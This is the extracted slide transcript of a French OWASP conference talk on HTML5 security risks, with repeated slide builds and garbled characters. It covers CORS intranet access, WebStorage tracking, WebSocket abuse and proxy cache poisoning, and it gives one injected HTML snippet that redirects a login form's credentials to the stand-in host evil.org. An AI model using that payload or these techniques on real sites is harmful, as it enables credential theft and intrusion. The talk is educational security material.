2013 04-04-html5-security-v2
Prochain SlideShare
Loading in...5
×

Vous aimez ? Partagez donc ce contenu avec votre réseau

Partager
  • Full Name Full Name Comment goes here.
    Êtes-vous sûr de vouloir
    Votre message apparaîtra ici
    Be the first to comment
    Be the first to like this
No Downloads

Vues

Total des vues
1,667
Sur Slideshare
1,089
From Embeds
578
Nombre d'ajouts
5

Actions

Partages
Téléchargements
34
Commentaires
0
J'aime
0

Ajouts 578

http://www.scoop.it 332
http://blog.gioria.org 237
http://88.191.157.145 4
http://www.directrss.co.il 4
http://webcache.googleusercontent.com 1

Signaler un contenu

Signalé comme inapproprié Signaler comme inapproprié
Signaler comme inapproprié

Indiquez la raison pour laquelle vous avez signalé cette présentation comme n'étant pas appropriée.

Annuler
    No notes for slide

Transcript

  • 1. et  la  sécurité un  point  d’étape Sébas3en  Gioria OWASP  France  Leader   GSDays  -­‐  4  Avril  2013  -­‐  Paris  -­‐    FranceFriday, April 5, 13
  • 2. http://www.google.fr/#q=sebastien gioria ‣Consultant Indépendant en Sécurité Applicative ‣OWASP France Leader & Founder - Evangéliste ‣OWASP Global Education Comittee Member (sebastien.gioria@owasp.org) Twitter :@SPointFriday, April 5, 13 2
  • 3. Agenda • Un  peu  d’histoire • HTML5  pour  les  nuls  en  4mn  2s • Nouvelles  a;aques  et  protec>ons  ? • Références Oui,  vous  avez  bien  lu  quelque  chose  ici 3Friday, April 5, 13
  • 4. Delorean  Passion 1993 1995 1998 2000 2006 2013 HTML  4.0 HTML  5  ? HTML  2.0 CSS  2 CSS  3 HTML  1.0 JavaScript la  DOM XmlH;pRequest Il  n’y  aura  pas  d’éléphpants  dans  ce;e  présenta>on 4Friday, April 5, 13
  • 5. Delorean  Passion 1993 1995 1998 2000 2006 2013 HTML  4.0 HTML  5  ? HTML  2.0 CSS  2 CSS  3 HTML  1.0 JavaScript la  DOM XmlH;pRequest Il  n’y  aura  pas  d’éléphpants  dans  ce;e  présenta>on 4Friday, April 5, 13
  • 6. Delorean  Passion 1993 1995 1998 2000 2006 2013 HTML  4.0 HTML  5  ? HTML  2.0 CSS  2 CSS  3 HTML  1.0 JavaScript la  DOM XmlH;pRequest 20  ans,  noces  de  porcelaine... Il  n’y  aura  pas  d’éléphpants  dans  ce;e  présenta>on 4Friday, April 5, 13
  • 7. L’état  de  la  norme par  contre  il  y  a  d’autres  animaux... 5Friday, April 5, 13
  • 8. Eléments  intéressants  de  HTML5 mais  pas  dans  ce  slide 6Friday, April 5, 13
  • 9. 4mn  2s • Nouvelles  balises – On  n’est  pas  la  pour  parler  de  peinture... • Nouvelles  APIs –WebSocket –WebMessaging –IndexedDB –OffLine  Web  ApplicaBon –WebStorage  (votre  nouveau  DropBox  ?  ...) –Cross  Origin  Ressource  Sharing  (déja  rien  que  le  nom   est  intéressant...) Ni  dans  celui  la.... 7Friday, April 5, 13
  • 10. 4mn  2s • WebSocket : Permet d’effectuer des connexions persistantes et bi- directionnelles • mécanisme  de  “Push”  possible • interface  en  cours  de  finalisaBon/spécificaBons • nécessite  un  serveur  “compaBble” • API  minimaliste  (send,  receive  via  event) • hPp://www.w3.org/TR/websockets/ en  meme  temps,  des  animaux  dans  ce;e  présenta>on  pourquoi  ?   8Friday, April 5, 13
  • 11. 4mn  2s • WebMessaging : communication inter- documents HTML • via  la  méthode  window.postMessage(); • pas  de  garanBe  de  contenu  inoffensif  (ie;  pas  de   filtre  de  type  anB-­‐XSS  ....) • vérificaBon  de  l’origine  a  la  charge  de   l’applicaBon  receptrice. • il  est  possible  de  transporter  du  JSON  :) • hPp://www.w3.org/TR/webmessaging/ tout  seimplement  parcequ’elle  a  été  finalisée  à  Paques 9Friday, April 5, 13
  • 12. 4mn  2s • IndexedDB; la Web SQL Database... •API  synchrone  et  asynchrone •pensée  pour  JavaScript;  stockage  d’objets   •hPp://www.w3.org/TR/IndexedDB/ me;re  des  oeufs  était  difficile 10Friday, April 5, 13
  • 13. 4mn  2s • Offline Web Applications: possibilité d’exécuter tout ou partie des applications même non connecté. –via  navigator.onLine –mise  en  cache  des  données  nécessaires(HTML,  CSS,   JavaScript...) –hPp://www.w3.org/TR/html5/offline.html et  du  chocolat  aussi 11Friday, April 5, 13
  • 14. 4mn  2s • WebStorage : donne la capacité au navigateur de stocker jusqu’a 5Mo à 10Mo de données • deux  type  de  stockage  :  local  ou  de  session • possibilité  de  stocker  des  objets  JSON • possibilité  de  stocker  de  manière  régulière • hPp://www.w3.org/TR/webstorage/ 12Friday, April 5, 13
  • 15. Sécurité  ? 13Friday, April 5, 13
  • 16. Modèle  de  sécurité  HTML5 Interface  U>lisateur Sandbox/SOP HTML/CSS JavaScript HTTP/XHR/WebSockets Page/ Appli Internet DOM 14Friday, April 5, 13
  • 17. Modèle  de  sécurité  HTML5 Interface  U>lisateur Sandbox/SOP HTML/CSS JavaScript HTTP/XHR/WebSockets Page/ Appli Internet DOM 14Friday, April 5, 13
  • 18. Modèle  de  sécurité  HTML5 Interface  U>lisateur Sandbox/SOP HTML/CSS JavaScript HTTP/XHR/WebSockets Page/ Appli Internet DOM 14Friday, April 5, 13
  • 19. Modèle  de  sécurité  HTML5 Interface  U>lisateur Sandbox/SOP HTML/CSS JavaScript HTTP/XHR/WebSockets Page/ Appli Internet DOM APIs  Stockage   (Web,  SQL,  ..) 14Friday, April 5, 13
  • 20. Modèle  de  sécurité  HTML5 Interface  U>lisateur Sandbox/SOP HTML/CSS JavaScript HTTP/XHR/WebSockets Page/ Appli Internet DOM APIs  Stockage   API  GeoLoc (Web,  SQL,  ..) 14Friday, April 5, 13
  • 21. Modèle  de  sécurité  HTML5 Interface  U>lisateur Sandbox/SOP HTML/CSS JavaScript HTTP/XHR/WebSockets Page/ Appli Internet DOM APIs  Stockage   API  GeoLoc API  ... (Web,  SQL,  ..) 14Friday, April 5, 13
  • 22. FalsificaBon  de  Forms • Il  est  possible  de  contrôler  une  Forms  en  dehors   de  l’élément  “form” <form id=“myform” action=“basic.php” > <input type=“text” name=“user” value=“…” /> </form> <input form=“myform” type=“submit” name=“…” value=“Advanced Version”/> 15Friday, April 5, 13
  • 23. FalsificaBon  Forms <form id=“login” action=“login.php” > <input type=“text” name=“username” /> <input type=“password” name=“password” /> <input type=“submit” name=“…” value=“Login” /> </form> 16Friday, April 5, 13
  • 24. FalsificaBon  Forms <form id=“login” action=“login.php” > <input type=“text” name=“username” /> <input type=“password” name=“password” /> <input type=“submit” name=“…” value=“Login” /> </form> Si  on  arrive  à  injecter  ce  code 16Friday, April 5, 13
  • 25. FalsificaBon  Forms <form id=“login” action=“login.php” > <input type=“text” name=“username” /> <input type=“password” name=“password” /> <input type=“submit” name=“…” value=“Login” /> </form> Si  on  arrive  à  injecter  ce  code New VIP section of the site is open! <input form=“login” type=“submit” name=“Enter VIP section” formaction=“http://evil.org/login.php” /> 16Friday, April 5, 13
  • 26. FalsificaBon  Forms <form id=“login” action=“login.php” > <input type=“text” name=“username” /> <input type=“password” name=“password” /> <input type=“submit” name=“…” value=“Login” /> </form> Si  on  arrive  à  injecter  ce  code New VIP section of the site is open! <input form=“login” type=“submit” name=“Enter VIP section” formaction=“http://evil.org/login.php” /> 16Friday, April 5, 13
  • 27. FalsificaBon  Forms <form id=“login” action=“login.php” > <input type=“text” name=“username” /> <input type=“password” name=“password” /> <input type=“submit” name=“…” value=“Login” /> </form> Si  on  arrive  à  injecter  ce  code New VIP section of the site is open! <input form=“login” type=“submit” name=“Enter VIP section” formaction=“http://evil.org/login.php” /> Automa3quement,  evil.org  dispose  des  éléments  et  la  Forms   ini3ale  est  appelée 16Friday, April 5, 13
  • 28. Protocol/content  Handlers • Il  est  possible  d’enregistrer  des  handlers  de   protocole  ou  de  type  de  fichiers   personalisés   • sms:// • applica>on/pdf Il  est  possible  (mais  pas  recommandé)  de  changer   les  handlers  standards  (dépend  des  navigateurs) Il  n’est  pas  obligatoire  de  demander  à  l’u3lisateur   son  autorisa3on   17Friday, April 5, 13
  • 29. Cross  Origin  Resource  Sharing  1/4 • XHR  ne  peut  dialoguer  qu’avec  le  site  Web   originaire  du  JavaScript non,  vous  avez  bien  lu...Un  boeuf  !   18Friday, April 5, 13
  • 30. Cross  Origin  Resource  Sharing  1/4 • XHR  ne  peut  dialoguer  qu’avec  le  site  Web   originaire  du  JavaScript non,  vous  avez  bien  lu...Un  boeuf  !   18Friday, April 5, 13
  • 31. Cross  Origin  Resource  Sharing  1/4 • XHR  ne  peut  dialoguer  qu’avec  le  site  Web   originaire  du  JavaScript Mais  c’etait  sans  compter  les  boeufs  ! non,  vous  avez  bien  lu...Un  boeuf  !   18Friday, April 5, 13
  • 32. Cross  Origin  Resource  Sharing  1/4 • XHR  ne  peut  dialoguer  qu’avec  le  site  Web   originaire  du  JavaScript Mais  c’etait  sans  compter  les  boeufs  ! HTTP/1.1 200 OK Content-Type: text/html Access-Control-Allow-Origin: http://internal.example.com non,  vous  avez  bien  lu...Un  boeuf  !   18Friday, April 5, 13
  • 33. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr intranet 19Friday, April 5, 13
  • 34. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr intranet 19Friday, April 5, 13
  • 35. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr intranet 19Friday, April 5, 13
  • 36. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr intranet 19Friday, April 5, 13
  • 37. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr intranet 19Friday, April 5, 13
  • 38. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr GET  /  HTTP/1.1 intranet 19Friday, April 5, 13
  • 39. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr GET  /  HTTP/1.1 intranet 19Friday, April 5, 13
  • 40. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr Access-­‐Control-­‐Allow-­‐Origin:  * GET  /  HTTP/1.1 HTTP/1.1  200  Ok intranet 19Friday, April 5, 13
  • 41. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr Access-­‐Control-­‐Allow-­‐Origin:  * GET  /  HTTP/1.1 HTTP/1.1  200  Ok intranet 19Friday, April 5, 13
  • 42. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr intranet 19Friday, April 5, 13
  • 43. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr  GET  /  HTTP/1.1   intranet 19Friday, April 5, 13
  • 44. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr  GET  /  HTTP/1.1   intranet 19Friday, April 5, 13
  • 45. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr intranet 19Friday, April 5, 13
  • 46. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr HTTP/1.1  200  Ok <script>XMLH;pRequest... intranet 19Friday, April 5, 13
  • 47. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr HTTP/1.1  200  Ok <script>XMLH;pRequest... intranet 19Friday, April 5, 13
  • 48. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr intranet 19Friday, April 5, 13
  • 49. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr XMLHTTPRequest intranet 19Friday, April 5, 13
  • 50. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr XMLHTTPRequest intranet 19Friday, April 5, 13
  • 51. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr intranet 19Friday, April 5, 13
  • 52. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr Access-­‐Control-­‐Allow-­‐Origin:  * HTTP/1.1  200  Ok intranet 19Friday, April 5, 13
  • 53. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr Access-­‐Control-­‐Allow-­‐Origin:  * HTTP/1.1  200  Ok intranet 19Friday, April 5, 13
  • 54. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr Access-­‐Control-­‐Allow-­‐Origin:  * HTTP/1.1  200  Ok intranet 19Friday, April 5, 13
  • 55. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr Access-­‐Control-­‐Allow-­‐Origin:  * HTTP/1.1  200  Ok intranet 19Friday, April 5, 13
  • 56. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr intranet 19Friday, April 5, 13
  • 57. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr POST  /endpoint  HTTP/1.1 .....(contenu  de  la  page  interne) intranet 19Friday, April 5, 13
  • 58. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr www.cible.com 20Friday, April 5, 13
  • 59. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr www.cible.com 20Friday, April 5, 13
  • 60. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr www.cible.com 20Friday, April 5, 13
  • 61. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr www.cible.com 20Friday, April 5, 13
  • 62. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr www.cible.com 20Friday, April 5, 13
  • 63. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr  GET  /  HTTP/1.1   www.cible.com 20Friday, April 5, 13
  • 64. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr  GET  /  HTTP/1.1   www.cible.com 20Friday, April 5, 13
  • 65. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr www.cible.com 20Friday, April 5, 13
  • 66. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr HTTP/1.1  200  Ok <iframe  src=... www.cible.com 20Friday, April 5, 13
  • 67. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr www.cible.com 20Friday, April 5, 13
  • 68. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr www.cible.com 20Friday, April 5, 13
  • 69. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr www.cible.com 20Friday, April 5, 13
  • 70. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr www.cible.com 20Friday, April 5, 13
  • 71. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr XML H;p Req uest www.cible.com 20Friday, April 5, 13
  • 72. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr www.cible.com 20Friday, April 5, 13
  • 73. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr www.cible.com 20Friday, April 5, 13
  • 74. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr XML H;p www.cible.com Req uest 20Friday, April 5, 13
  • 75. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr www.cible.com 20Friday, April 5, 13
  • 76. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr www.cible.com 20Friday, April 5, 13
  • 77. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr www.cible.com XML H;p Req uest 20Friday, April 5, 13
  • 78. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr www.cible.com 20Friday, April 5, 13
  • 79. Cross  Origin  Resource   • Contre-­‐mesures  :   • RestricBon  du  domaine • Ne  pas  faire  confiance  à  l’entete;  elle  peut  être   modifiée  par  l’aPaquant. • MePre  en  place  des  contre-­‐mesures  réseaux   franchement,  vous  avez  une  autre  réelle  solu>on  pour  les  DDOS  ?  =>  Venir  me  voir  a  la  fin  de  la  présenta>on  avec  votre  vraie  solu>on.... 21Friday, April 5, 13
  • 80. Cross  Origin  Resource   • Contre-­‐mesures  :   • RestricBon  du  domaine • Ne  pas  faire  confiance  à  l’entete;  elle  peut  être   modifiée  par  l’aPaquant. • MePre  en  place  des  contre-­‐mesures  réseaux   franchement,  vous  avez  une  autre  réelle  solu>on  pour  les  DDOS  ?  =>  Venir  me  voir  a  la  fin  de  la  présenta>on  avec  votre  vraie  solu>on.... 21Friday, April 5, 13
  • 81. Cross  Origin  Resource   • Contre-­‐mesures  :   • RestricBon  du  domaine • Ne  pas  faire  confiance  à  l’entete;  elle  peut  être   modifiée  par  l’aPaquant. • MePre  en  place  des  contre-­‐mesures  réseaux   pour  les  DDOS franchement,  vous  avez  une  autre  réelle  solu>on  pour  les  DDOS  ?  =>  Venir  me  voir  a  la  fin  de  la  présenta>on  avec  votre  vraie  solu>on.... 21Friday, April 5, 13
  • 82. Cross  Origin  Resource   • Contre-­‐mesures  :   • RestricBon  du  domaine • Ne  pas  faire  confiance  à  l’entete;  elle  peut  être   modifiée  par  l’aPaquant. • MePre  en  place  des  contre-­‐mesures  réseaux   pour  les  DDOS franchement,  vous  avez  une  autre  réelle  solu>on  pour  les  DDOS  ?  =>  Venir  me  voir  a  la  fin  de  la  présenta>on  avec  votre  vraie  solu>on.... 21Friday, April 5, 13
  • 83. Cross  Origin  Resource   • Contre-­‐mesures  :   • RestricBon  du  domaine • Ne  pas  faire  confiance  à  l’entete;  elle  peut  être   modifiée  par  l’aPaquant. • MePre  en  place  des  contre-­‐mesures  réseaux   pour  les  DDOS débrancher  le  cable.... franchement,  vous  avez  une  autre  réelle  solu>on  pour  les  DDOS  ?  =>  Venir  me  voir  a  la  fin  de  la  présenta>on  avec  votre  vraie  solu>on.... 21Friday, April 5, 13
  • 84. WebStorage • Pas  de  contrôle  de  la  part  de  l’u>lisateur  sur  ce   qui  est  stocké/accéder ➡DOS  via  les  disques  par  remplissage • L’injec>on  de  Javascript  peut  bypasser  la   limita>on  du  contrôle  d’accès. ➡Vol  de  Sessions ➡Vol  de  données  sensibles ➡Tracking  d’uBlisateurs 22Friday, April 5, 13
  • 85. All  you  disk  is  belong  to  US  ? bon,  oui,  la  vidéo  a  été  faite  hier...mais  c’etait  pour  éviter  l’effet  démo 23Friday, April 5, 13
  • 86. All  you  disk  is  belong  to  US  ? • Par  défaut  WebStorage  limite  a  quelques  méga   l’espace  disque  par  origine  (2.5Mb  à  10Mb)   bon,  oui,  la  vidéo  a  été  faite  hier...mais  c’etait  pour  éviter  l’effet  démo 23Friday, April 5, 13
  • 87. All  you  disk  is  belong  to  US  ? • Par  défaut  WebStorage  limite  a  quelques  méga   l’espace  disque  par  origine  (2.5Mb  à  10Mb)   • La  norme  dit  que  chaque  origine  n’a  pas   forcément  5Mb.  Mais... bon,  oui,  la  vidéo  a  été  faite  hier...mais  c’etait  pour  éviter  l’effet  démo 23Friday, April 5, 13
  • 88. All  you  disk  is  belong  to  US  ? • Par  défaut  WebStorage  limite  a  quelques  méga   l’espace  disque  par  origine  (2.5Mb  à  10Mb)   • La  norme  dit  que  chaque  origine  n’a  pas   forcément  5Mb.  Mais... bon,  oui,  la  vidéo  a  été  faite  hier...mais  c’etait  pour  éviter  l’effet  démo 23Friday, April 5, 13
  • 89. All  you  disk  is  belong  to  US  ? • Par  défaut  WebStorage  limite  a  quelques  méga   l’espace  disque  par  origine  (2.5Mb  à  10Mb)   • La  norme  dit  que  chaque  origine  n’a  pas   forcément  5Mb.  Mais... bon,  oui,  la  vidéo  a  été  faite  hier...mais  c’etait  pour  éviter  l’effet  démo 23Friday, April 5, 13
  • 90. All  you  disk  is  belong  to  US  ? • Par  défaut  WebStorage  limite  a  quelques  méga   l’espace  disque  par  origine  (2.5Mb  à  10Mb)   • La  norme  dit  que  chaque  origine  n’a  pas   forcément  5Mb.  Mais... • En  cours  de  correc>on,  mais  démonstra>on   intéressante.... • Tests  à  h;p://www.filldisk.com/ bon,  oui,  la  vidéo  a  été  faite  hier...mais  c’etait  pour  éviter  l’effet  démo 23Friday, April 5, 13
  • 91. WebStorage • Tracking  User Les  localStorage  ne  sont  pas  forcément  effacés  lorsqu’on  efface   l’historique  (ni  quand  on  qui]e  le  navigateur) J’en  connais  plusieurs  qui  vont  ouvrir  FireBug  rapidement.... 24Friday, April 5, 13
  • 92. WebStorage • Tracking  User Les  localStorage  ne  sont  pas  forcément  effacés  lorsqu’on  efface   l’historique  (ni  quand  on  qui]e  le  navigateur) J’en  connais  plusieurs  qui  vont  ouvrir  FireBug  rapidement.... 24Friday, April 5, 13
  • 93. WebStorage • Tracking  User Les  localStorage  ne  sont  pas  forcément  effacés  lorsqu’on  efface   l’historique  (ni  quand  on  qui]e  le  navigateur) Il  est  donc  possible  de  créer  des  iden3fiants  (de  type  cookies)   persistants  perme]ant  de  suivre  l’u3lisateur J’en  connais  plusieurs  qui  vont  ouvrir  FireBug  rapidement.... 24Friday, April 5, 13
  • 94. WebSocket  API  :) • Possible  entre  différents  domaines • Perme;rai  de  réduire  la  taille  du  contenu   transporté  ? • c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets 25Friday, April 5, 13
  • 95. WebSocket  API  :) • Possible  entre  différents  domaines • Perme;rai  de  réduire  la  taille  du  contenu   transporté  ? • c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets 25Friday, April 5, 13
  • 96. WebSocket  API  :) • Possible  entre  différents  domaines • Perme;rai  de  réduire  la  taille  du  contenu   transporté  ? • c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets 25Friday, April 5, 13
  • 97. WebSocket  API  :) • Possible  entre  différents  domaines • Perme;rai  de  réduire  la  taille  du  contenu   transporté  ? • c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets 25Friday, April 5, 13
  • 98. WebSocket  API  :) • Possible  entre  différents  domaines • Perme;rai  de  réduire  la  taille  du  contenu   transporté  ? •  GET  /  HTTP/1.1   c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets 25Friday, April 5, 13
  • 99. WebSocket  API  :) • Possible  entre  différents  domaines • Perme;rai  de  réduire  la  taille  du  contenu   transporté  ? •  GET  /  HTTP/1.1   c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets 25Friday, April 5, 13
  • 100. WebSocket  API  :) • Possible  entre  différents  domaines • Perme;rai  de  réduire  la  taille  du  contenu   transporté  ? •  GET  /  HTTP/1.1   HTTP/1.1  200  Ok c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets 25Friday, April 5, 13
  • 101. WebSocket  API  :) • Possible  entre  différents  domaines • Perme;rai  de  réduire  la  taille  du  contenu   transporté  ? •  GET  /  HTTP/1.1   HTTP/1.1  200  Ok c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets 25Friday, April 5, 13
  • 102. WebSocket  API  :) • Possible  entre  différents  domaines • Perme;rai  de  réduire  la  taille  du  contenu   transporté  ? •  GET  /  HTTP/1.1   HTTP/1.1  200  Ok Upgrade  WebSocket c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets 25Friday, April 5, 13
  • 103. WebSocket  API  :) • Possible  entre  différents  domaines • Perme;rai  de  réduire  la  taille  du  contenu   transporté  ? •  GET  /  HTTP/1.1   HTTP/1.1  200  Ok Upgrade  WebSocket c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets 25Friday, April 5, 13
  • 104. WebSocket  API  :) • Possible  entre  différents  domaines • Perme;rai  de  réduire  la  taille  du  contenu   transporté  ? •  GET  /  HTTP/1.1   HTTP/1.1  200  Ok Upgrade  WebSocket WebSocket  Protocol  Handshake c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets 25Friday, April 5, 13
  • 105. WebSocket  API  :) • Possible  entre  différents  domaines • Perme;rai  de  réduire  la  taille  du  contenu   transporté  ? •  GET  /  HTTP/1.1   HTTP/1.1  200  Ok Upgrade  WebSocket WebSocket  Protocol  Handshake c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets 25Friday, April 5, 13
  • 106. WebSocket  API  :) • Possible  entre  différents  domaines • Perme;rai  de  réduire  la  taille  du  contenu   transporté  ? •  GET  /  HTTP/1.1   HTTP/1.1  200  Ok Upgrade  WebSocket WebSocket  Protocol  Handshake Tunnel  TCP  Full  Duplex c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets 25Friday, April 5, 13
  • 107. WebSocket  API  :) • Possible  entre  différents  domaines • Perme;rai  de  réduire  la  taille  du  contenu   transporté  ? •  GET  /  HTTP/1.1   HTTP/1.1  200  Ok Upgrade  WebSocket WebSocket  Protocol  Handshake Tunnel  TCP  Full  Duplex c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets 25Friday, April 5, 13
  • 108. Websocket  Menaces • Parmi  les  a;aques  possibles,  certaines  sont   triviales:   • Shell  Distant   • Botnet  Web   • via  un  XSS  ou  tout  simplement  en  se  connectant  à   un  site  Web. • Port  scanning... 26Friday, April 5, 13
  • 109. WebSocket • Empoisonnement  dransparent de  proxy Proxy  T e  cache   27 Ca  me  rappelle  les  proxy  SFR...Friday, April 5, 13
  • 110. WebSocket • Empoisonnement  dransparent de  proxy Proxy  T e  cache   27 Ca  me  rappelle  les  proxy  SFR...Friday, April 5, 13
  • 111. WebSocket • Empoisonnement  dransparent de  proxy Proxy  T e  cache   27 Ca  me  rappelle  les  proxy  SFR...Friday, April 5, 13
  • 112. WebSocket • Empoisonnement  dransparent de  proxy Proxy  T e  cache   27 Ca  me  rappelle  les  proxy  SFR...Friday, April 5, 13
  • 113. WebSocket • Empoisonnement  dransparent de  proxy Proxy  T e  cache    GET  /  HTTP/1.1   27 Ca  me  rappelle  les  proxy  SFR...Friday, April 5, 13
  • 114. WebSocket • Empoisonnement  dransparent de  proxy Proxy  T e  cache    GET  /  HTTP/1.1   27 Ca  me  rappelle  les  proxy  SFR...Friday, April 5, 13
  • 115. WebSocket • Empoisonnement  dransparent de  proxy Proxy  T e  cache    GET  /  HTTP/1.1   HTTP/1.1  200  Ok 27 Ca  me  rappelle  les  proxy  SFR...Friday, April 5, 13
  • 116. WebSocket • Empoisonnement  dransparent de  proxy Proxy  T e  cache    GET  /  HTTP/1.1   HTTP/1.1  200  Ok 27 Ca  me  rappelle  les  proxy  SFR...Friday, April 5, 13
  • 117. WebSocket • Empoisonnement  dransparent de  proxy Proxy  T e  cache    GET  /  HTTP/1.1   HTTP/1.1  200  Ok Upgrade  WebSocket 27 Ca  me  rappelle  les  proxy  SFR...Friday, April 5, 13
  • 118. WebSocket • Empoisonnement  dransparent de  proxy Proxy  T e  cache    GET  /  HTTP/1.1   HTTP/1.1  200  Ok Upgrade  WebSocket 27 Ca  me  rappelle  les  proxy  SFR...Friday, April 5, 13
  • 119. WebSocket • Empoisonnement  dransparent de  proxy Proxy  T e  cache    GET  /  HTTP/1.1   HTTP/1.1  200  Ok Upgrade  WebSocket WebSocket  Protocol  Handshake 27 Ca  me  rappelle  les  proxy  SFR...Friday, April 5, 13
  • 120. WebSocket • Empoisonnement  dransparent de  proxy Proxy  T e  cache    GET  /  HTTP/1.1   HTTP/1.1  200  Ok Upgrade  WebSocket WebSocket  Protocol  Handshake 27 Ca  me  rappelle  les  proxy  SFR...Friday, April 5, 13
  • 121. WebSocket • Empoisonnement  dransparent de  proxy Proxy  T e  cache    GET  /  HTTP/1.1   HTTP/1.1  200  Ok Upgrade  WebSocket WebSocket  Protocol  Handshake 27 Ca  me  rappelle  les  proxy  SFR...Friday, April 5, 13
  • 122. WebSocket • Empoisonnement  dransparent de  proxy Proxy  T e  cache    GET  /  HTTP/1.1   HTTP/1.1  200  Ok Upgrade  WebSocket WebSocket  Protocol  Handshake  GET  /  HTTP/1.1 Host:  some.host.com   27 Ca  me  rappelle  les  proxy  SFR...Friday, April 5, 13
  • 123. WebSocket • Empoisonnement  dransparent de  proxy Proxy  T e  cache    GET  /  HTTP/1.1   HTTP/1.1  200  Ok Upgrade  WebSocket WebSocket  Protocol  Handshake  GET  /  HTTP/1.1 Host:  some.host.com   27 Ca  me  rappelle  les  proxy  SFR...Friday, April 5, 13
  • 124. WebSocket • Empoisonnement  dransparent de  proxy Proxy  T e  cache    GET  /  HTTP/1.1   HTTP/1.1  200  Ok Upgrade  WebSocket WebSocket  Protocol  Handshake  GET  /  HTTP/1.1 Host:  some.host.com   HTTP/1.1  200  Ok Contenu  falsifié 27 Ca  me  rappelle  les  proxy  SFR...Friday, April 5, 13
  • 125. OffLine  Web  ApplicaBon <!DOCTYPE HTML> <html manifest="/cache.manifest"> <body> • Possibilité  d’avoir  des  a;aques  de  Type   APT  ? • Possibilité  de  pollu>on  des  caches  de   navigateurs  (via  un  point  d’accès   malveillant);  meme  du  SSL Je  crois  que  Nicolas  a  un  bon  avis  sur  les  APT.... 28Friday, April 5, 13
  • 126. WebMessage • Possibilité  de  perte  de  données  sensibles  (si   envoyées  à  une  “mauvaise  iframe”) postMessage() Page  du  site  “interne” <iframe  src=”outside.control” 29Friday, April 5, 13
